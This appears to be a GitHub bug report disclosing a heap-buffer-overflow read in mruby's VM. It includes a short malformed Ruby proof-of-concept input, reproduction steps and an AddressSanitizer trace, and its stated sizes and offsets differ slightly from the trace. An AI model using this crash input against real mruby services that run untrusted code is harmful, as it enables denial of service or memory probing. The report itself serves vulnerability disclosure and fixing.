Skip to content

[Bug] Heap-buffer-overflow in mrb_vm_exec via malformed source code involving non-ASCII characters #6704

Description

@oneafter

Description

We discovered a Heap-buffer-overflow vulnerability in mruby. The crash occurs in the main VM loop (mrb_vm_exec) when executing bytecode generated from a specifically malformed Ruby source string.

The ASAN report indicates a READ memory access violation 140 bytes beyond a small allocated region. The region was allocated during code generation (scope_finish), but the VM attempts to access registers beyond this scope.

Environment

  • OS: Linux x86_64
  • Complier: Clang
  • Build Configuration: Release mode with ASan enabled.

Vulnerability Details

  • Target: mruby
  • Vulnerability Type: Heap-buffer-overflow (READ)
  • Function: mrb_vm_exec
  • Location: src/vm.c:1953
  • Root Cause Analysis: The vulnerability stems from a discrepancy between the parser/compiler and the VM:
  1. The parser accepts the malformed source R=>^ą;0 containing non-ASCII characters and operators without raising a SyntaxError.
  2. The code generator (codegen.c, scope_finish) calculates the required stack size for this scope and allocates a small region (12 bytes).
  3. However, the generated bytecode contains instructions that access register indices far beyond this allocated size (offset 140).
  4. When mrb_vm_exec executes these instructions, it reads from unmapped heap memory.

Reproduce

  1. Build mruby with Release optimization and ASAN enabled.
  2. Run with the crashing file:
poc
R=>^ą;0
./bin/mruby poc

ASAN report

==2323==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000002a68 at pc 0x561029ce08be bp 0x7fffc668f610 sp 0x7fffc668f608
READ of size 4 at 0x502000002a68 thread T0
    #0 0x561029ce08bd in mrb_vm_exec /src/mruby/src/vm.c:1953:43
    #1 0x561029d0f489 in mrb_load_exec /src/mruby/mrbgems/mruby-compiler/core/parse.y:7786:7
    #2 0x561029d105f7 in mrb_load_detect_file_cxt /src/mruby/mrbgems/mruby-compiler/core/parse.y:7829:12
    #3 0x561029bb504e in main /src/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:355:11
    #4 0x7f812d33e1c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 274eec488d230825a136fa9c4d85370fed7a0a5e)
    #5 0x7f812d33e28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 274eec488d230825a136fa9c4d85370fed7a0a5e)
    #6 0x561029acf894 in _start (/src/mruby/build/host/bin/mruby+0xb9894) (BuildId: 4a1aaec9cda2051f49b103ec09909d7efb47b987)

0x502000002a68 is located 86 bytes after 2-byte region [0x502000002a10,0x502000002a12)
allocated by thread T0 here:
    #0 0x561029b6fae0 in realloc (/src/mruby/build/host/bin/mruby+0x159ae0) (BuildId: 4a1aaec9cda2051f49b103ec09909d7efb47b987)
    #1 0x561029bff7bd in mrb_realloc_simple /src/mruby/src/gc.c:202:8
    #2 0x561029bff7bd in mrb_realloc /src/mruby/src/gc.c:216:8
    #3 0x561029bff7bd in mrb_malloc /src/mruby/src/gc.c:232:10

SUMMARY: AddressSanitizer: heap-buffer-overflow /src/mruby/src/vm.c:1953:43 in mrb_vm_exec
Shadow bytes around the buggy address:
  0x502000002780: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00
  0x502000002800: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00
  0x502000002880: fa fa 00 00 fa fa 00 fa fa fa 00 fa fa fa 03 fa
  0x502000002900: fa fa fd fa fa fa 04 fa fa fa fd fa fa fa fd fa
  0x502000002980: fa fa 00 00 fa fa 00 00 fa fa 00 04 fa fa 00 fa
=>0x502000002a00: fa fa 02 fa fa fa fa fa fa fa fa fa fa[fa]fa fa
  0x502000002a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x502000002b00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x502000002b80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x502000002c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x502000002c80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==2323==ABORTING

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions